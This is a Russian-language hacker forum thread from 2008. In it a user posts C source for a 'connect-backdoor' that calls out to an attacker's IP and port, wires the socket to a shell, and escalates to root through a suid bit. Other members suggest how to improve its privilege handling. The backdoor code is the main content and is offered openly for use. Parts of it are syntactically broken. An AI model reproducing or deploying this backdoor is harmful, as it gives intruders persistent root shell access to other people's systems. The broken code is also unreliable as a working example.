shados-cbd

Discussion in 'Избранное' started by ShadOS, 30 Jan 2008.

  1. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Вот написал connect-backdoor для *nix систем на досуге. Если есть права root, то для использования необходимо поставить suid-бит, используя команду chmod. Т.о. бекдор при однакратной установке suid-бита даёт нам рутовый connect-backdoor.
    Code:
    //shados-cbd v0.1
    //usage: cbd ip_addr port
    //set suid bit for rootshell
    //compile: gcc shados-cbd.c -o shados-cbd
    
    #include<stdio.h>
    #include<string.h>
    #include<stdlib.h>
    
    #include<arpa/inet.h>
    #include<netinet/in.h>
    #include<sys/types.h>
    #include<sys/socket.h>
    #include<sys/wait.h>
    
    #include<unistd.h>
    #include<errno.h>
    
    #define SHELL "/bin/bash"
    
    int main(int argc , char *argv[])
    {
    	int st;
    	int sockfd;
    	int sock_len;
    	pid_t bind_sh;
    
    	struct sockaddr_in att;
    
    	if (argc != 3)
    	{
    		printf("usage: %s ip_addr port\n",argv[0]);
    		exit(0);
    	}
    	att.sin_family = AF_INET ;
    	att.sin_port = htons(atoi(argv[2]));
    
    	if (inet_aton(argv[1] , &att.sin_addr) == 0)
    	{
    		perror("Invaild ip-address");
    		exit -1;
    	}
    		
    	sock_len = sizeof(att);
    	
    	if ((sockfd = socket(PF_INET , SOCK_STREAM , 0)) < 0)
    	{
    		perror("Socket creation faild"); 
    		exit -1;
    	}
    	
    	if((bind_sh = fork()) == -1)
    	{
    		perror("Cannot open new process");
    		exit -1;
    	}
    	else 
    	if (bind_sh == 0)
    	    {
    		if(connect(sockfd , (struct sockaddr*)&att , sock_len) == -1)
    		{
    			perror("Connection error");
    			exit -1;
    		}
    		
    		if((dup2(sockfd, 0) == -1) ||
    				  (dup2(sockfd, 1) == -1) ||
    				  (dup2(sockfd, 2) == -1) ||
    				  (dup2(sockfd, 3) == -1));
    
    		if geteuid() {
    			setreuid(0,0);
    			setregid(0,0);
    		}
    }
    		execl(SHELL , SHELL , NULL);
    	    } 
    	    else
    	    {
    		wait(&st); /* kinda useless but safe */
    	    }
    
    	return 0;
    }
    
    
    P.S. Пьянству бой. Опять в зюзю.
     
    #1 ShadOS, 30 Jan 2008
    Last edited: 30 Jan 2008
    7 people like this.
  2. n0ne

    n0ne Elder - Старейшина

    Joined:
    1 Jan 2007
    Messages:
    542
    Likes Received:
    284
    Reputations:
    -56
    Эт как?)

    И вообще имхо нужно сделать элементарную проверку прав, чтоб каждый раз не комментировать\раскомментировать строки.

    mod:

    Можно и без проверки, просто запихнуть использование setreuid(0,0); и setregid(0,0); в отдельный параметр, т.е. будет не cbd ip port, а cbd ip port rights. Ну вариантов много =)
     
    #2 n0ne, 30 Jan 2008
    Last edited: 30 Jan 2008
    1 person likes this.
  3. ShadOS

    ShadOS ы

    Joined:
    11 Feb 2007
    Messages:
    667
    Likes Received:
    351
    Reputations:
    413
    Спасибо за идею:
    добавляем
    Code:
    if geteuid() {
      setreuid(0,0);
      setregid(0,0);
    }
    
    Комменты поощряю ибо писалось на коленке и быстро. Все ваши пожелания постараюсь учесть.
     
    #3 ShadOS, 30 Jan 2008
    Last edited: 30 Jan 2008
    1 person likes this.
  4. ZaCo

    ZaCo Banned

    Joined:
    20 Jun 2005
    Messages:
    737
    Likes Received:
    336
    Reputations:
    215
    вообще не думал, что человек который модули ядра с руткитами и много другого поинтереснее пишет пойдет в степь хакерских шеллов даже без поддержки псевдо-терминального устройства. короче fork()/dup()/exec()/ подозрительно - либо это "релиз" многолетней давности который нет смысла выкладывать либо хз что - аккаунт шадоуса взломали.